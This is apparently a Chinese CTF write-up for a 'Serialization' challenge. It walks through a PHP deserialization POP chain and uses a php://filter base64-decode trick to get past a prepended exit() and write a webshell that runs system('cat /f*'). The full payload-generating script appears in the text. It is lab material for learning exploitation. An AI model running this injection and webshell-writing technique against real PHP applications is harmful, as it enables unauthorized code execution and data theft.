【青少年CTF S1·2026 公益赛】Serialization

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class AudiLog {
    public $handler;

    public function __construct() {
        $this->handler = new SystemStatus();
    }

    public function __toString() {
        return $this->handler->process();
    }
}

class FileCache {
    public $filePath;
    public $content;

    public function __construct($path = '', $data = '') {
        $this->filePath = $path;
        $this->content = $data;
    }

    public function process() {
        $security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
        $final_data = $security_header . $this->content;
        file_put_contents($this->filePath, $final_data);
        return "Cache Saved.";
    }
}

class SystemStatus {
    public function process() {
        if(file_exists('./system_config.php')) {
            include('./system_config.php');
        }
        return "System logic normal.";
    }
}

$payload = $_POST['data'];
if(isset($payload)){
    echo unserialize($payload);
}
else{
    echo "Invalid data stream.";
}
?>

从上面的代码中我们查找利用点,可以通过FileCache的process()写入一句话木马

php 复制代码
class FileCache {
    public $filePath;
    public $content;

    public function __construct($path = '', $data = '') {
        $this->filePath = $path;
        $this->content = $data;
    }

    public function process() {
        $security_header = '<?php exit("Access Denied: Protected Cache"); ?>';
        $final_data = $security_header . $this->content;
        file_put_contents($this->filePath, $final_data);
        return "Cache Saved.";
    }
}

但是这里有一个问题是FileCache的process()在写入文件内容的时候,会在文件内容前面添加,让文件没有运行就退出

php 复制代码
<?php exit("Access Denied: Protected Cache"); ?>

因此我们要想办法绕过,我们可以通过base64解码吞字符的形势来躲过

php 复制代码
'<?php exit("Access Denied: Protected Cache"); ?>'

我们命令是

php 复制代码
<?php system("cat /f*");?>
对应的base64编码是
PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7Pz4=

然后我们打开cyberchef来进行组合拼接,让base64能够正常解析

可以看到中间加aaa就可以吞掉exit的代码,然后正常解码我们的命令

那么我们需要做下面的事情

php 复制代码
1、进行字符串的相关操作来出发__toString()魔法函数,原文中echo unserialize($payload);的echo就已经出发了,所以不需要我们管
2、将AudiLog类中的$this->handler替换成FileCache()
3、$this->filePath 赋值为php://filter/write=convert.base64-decode/resource=shell.php
这样就可以先通过base64解码,然后再写入到shell.php
4、$x->handler->content赋值为
'aaa' . base64_encode('<?php system("cat /f*");?>')

那么我们的payload如下

php 复制代码
<?php

class AudiLog {
    public $handler;

    public function __construct() {
        $this->handler = new FileCache();
    }

    public function __toString() {
        return $this->handler->process();
    }
}

class FileCache {
    public $filePath = "php://filter/write=convert.base64-decode/resource=shell.php";
    public $content ;

    # 注意base64_encode函数不能直接赋值给变量,要放到__construct中
    public function __construct() {
        $this->content = 'aaa' . base64_encode('<?php system("cat /f*");?>');
    }

    

}

$exp = new AudiLog();
echo(urlencode(serialize($exp)))


?>

访问得到payload

输入到网站中

成功写入shell.php文件,同时将前面的exit内容吞掉,并写入system命令

相关推荐
零零信安1 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安
憧憬成为web高手1 天前
l33t-hoster
学习·web安全·网络安全
HackTwoHub1 天前
Sqli-Scanner SQL注入SKILL自动化挖掘SQL注入,零依赖自动化SQL注入挖掘,赏金猎人
数据库·人工智能·sql·web安全·网络安全·自动化·系统安全
爱网络爱Linux1 天前
网络安全与渗透测试实用工具大全
web安全·网络安全·信息安全·cisp-pte·cisp·cissp
xsc-xyc1 天前
用 Tailscale + Syncthing 实现手机、电脑与 NAS 的跨网络文件同步
linux·网络·网络安全·智能手机·电脑
持敬chijing2 天前
Web渗透之SQL注入-常用sql语句
sql·安全·web安全·网络安全
Chengbei112 天前
AISec真正拟人化全自动渗透工具!支持浏览器交互全自动化挖掘,SQL注入、XSS、越权等。
sql·安全·web安全·网络安全·自动化·系统安全·xss
X7x52 天前
深度拆解网络安全“闭环”之王——APPDRR模型
网络安全·网络攻击模型·安全威胁分析·安全架构·appdrr模型
Inhand陈工2 天前
污水泵站PLC数据上云实战:西门子PLC + 映翰通IG502 + DM平台全流程
人工智能·物联网·网络安全·阿里云·信息与通信·iot
X7x52 天前
一文讲透PADIMEE模型
网络安全·网络攻击模型·安全威胁分析·安全架构·padimee模型